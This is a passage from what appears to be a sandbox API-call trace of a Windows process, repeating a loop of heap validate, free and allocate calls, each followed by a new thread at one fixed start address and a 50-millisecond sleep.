lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0115.102] Sleep (dwMilliseconds=0x32) [0115.226] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.226] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.226] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0115.227] Sleep (dwMilliseconds=0x32) [0115.321] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.321] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.321] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0115.322] Sleep (dwMilliseconds=0x32) [0115.507] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.507] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.507] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bfc [0115.508] Sleep (dwMilliseconds=0x32) [0115.616] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.616] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.616] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0115.617] Sleep (dwMilliseconds=0x32) [0115.726] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.726] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.726] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0115.727] Sleep (dwMilliseconds=0x32) [0115.872] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.872] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.872] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0115.872] Sleep (dwMilliseconds=0x32) [0115.960] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0115.960] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0115.960] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0115.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0115.961] Sleep (dwMilliseconds=0x32) [0116.073] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.073] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.073] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0116.073] Sleep (dwMilliseconds=0x32) [0116.173] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.173] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.173] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0116.173] Sleep (dwMilliseconds=0x32) [0116.288] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.288] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.288] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0116.288] Sleep (dwMilliseconds=0x32) [0116.427] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.427] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0116.428] Sleep (dwMilliseconds=0x32) [0116.542] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.542] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.542] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0116.542] Sleep (dwMilliseconds=0x32) [0116.631] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.631] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.631] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0116.632] Sleep (dwMilliseconds=0x32) [0116.721] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.721] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c08 [0116.723] Sleep (dwMilliseconds=0x32) [0116.802] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.802] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.802] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0116.803] Sleep (dwMilliseconds=0x32) [0116.896] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0116.896] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0116.896] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0116.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0116.897] Sleep (dwMilliseconds=0x32) [0117.001] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.001] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.001] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0117.001] Sleep (dwMilliseconds=0x32) [0117.083] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.083] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464 [0117.084] Sleep (dwMilliseconds=0x32) [0117.192] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.192] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.193] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0117.194] Sleep (dwMilliseconds=0x32) [0117.302] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.302] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.302] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0117.302] Sleep (dwMilliseconds=0x32) [0117.403] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.403] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0117.404] Sleep (dwMilliseconds=0x32) [0117.516] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.516] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.516] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0117.516] Sleep (dwMilliseconds=0x32) [0117.622] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.622] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.622] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0117.623] Sleep (dwMilliseconds=0x32) [0117.723] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.723] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.723] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0117.724] Sleep (dwMilliseconds=0x32) [0117.849] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.849] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.849] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0117.850] Sleep (dwMilliseconds=0x32) [0117.987] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0117.988] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0117.988] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0117.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0117.988] Sleep (dwMilliseconds=0x32) [0118.145] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.145] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.145] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0118.145] Sleep (dwMilliseconds=0x32) [0118.284] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.284] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.284] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0 [0118.285] Sleep (dwMilliseconds=0x32) [0118.448] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.448] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.448] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0118.449] Sleep (dwMilliseconds=0x32) [0118.580] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.580] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.580] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0118.581] Sleep (dwMilliseconds=0x32) [0118.721] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.721] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.721] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0118.722] Sleep (dwMilliseconds=0x32) [0118.834] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.834] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.834] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0118.835] Sleep (dwMilliseconds=0x32) [0118.971] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0118.971] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0118.971] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0118.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0118.972] Sleep (dwMilliseconds=0x32) [0119.111] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0119.111] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0119.111] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0119.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b98 [0119.111] Sleep (dwMilliseconds=0x32) [0119.299] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0119.299] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0119.299] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0119.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0119.300] Sleep (dwMilliseconds=0x32) [0119.517] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0119.517] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0119.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d0 [0119.518] Sleep (dwMilliseconds=0x32) [0119.659] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0119.659] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0119.659] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0119.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0119.659] Sleep (dwMilliseconds=0x32) [0119.813] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0119.813] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0119.813] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0119.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88 [0119.814] Sleep (dwMilliseconds=0x32) [0120.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.016] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94 [0120.017] Sleep (dwMilliseconds=0x32) [0120.180] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.180] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.180] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0120.181] Sleep (dwMilliseconds=0x32) [0120.345] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.345] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.345] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0120.346] Sleep (dwMilliseconds=0x32) [0120.500] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.500] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.501] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0120.501] Sleep (dwMilliseconds=0x32) [0120.640] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.640] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8 [0120.641] Sleep (dwMilliseconds=0x32) [0120.781] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.781] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.781] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4 [0120.781] Sleep (dwMilliseconds=0x32) [0120.865] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.865] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.865] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0120.865] Sleep (dwMilliseconds=0x32) [0120.957] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0120.957] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0120.957] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0120.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64 [0120.958] Sleep (dwMilliseconds=0x32) [0121.077] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.077] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.077] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc14 [0121.078] Sleep (dwMilliseconds=0x32) [0121.191] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.191] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.191] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0121.192] Sleep (dwMilliseconds=0x32) [0121.281] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.281] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0121.281] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0121.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0121.282] Sleep (dwMilliseconds=0x32) [0121.375] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0121.375] HeapFree (in: 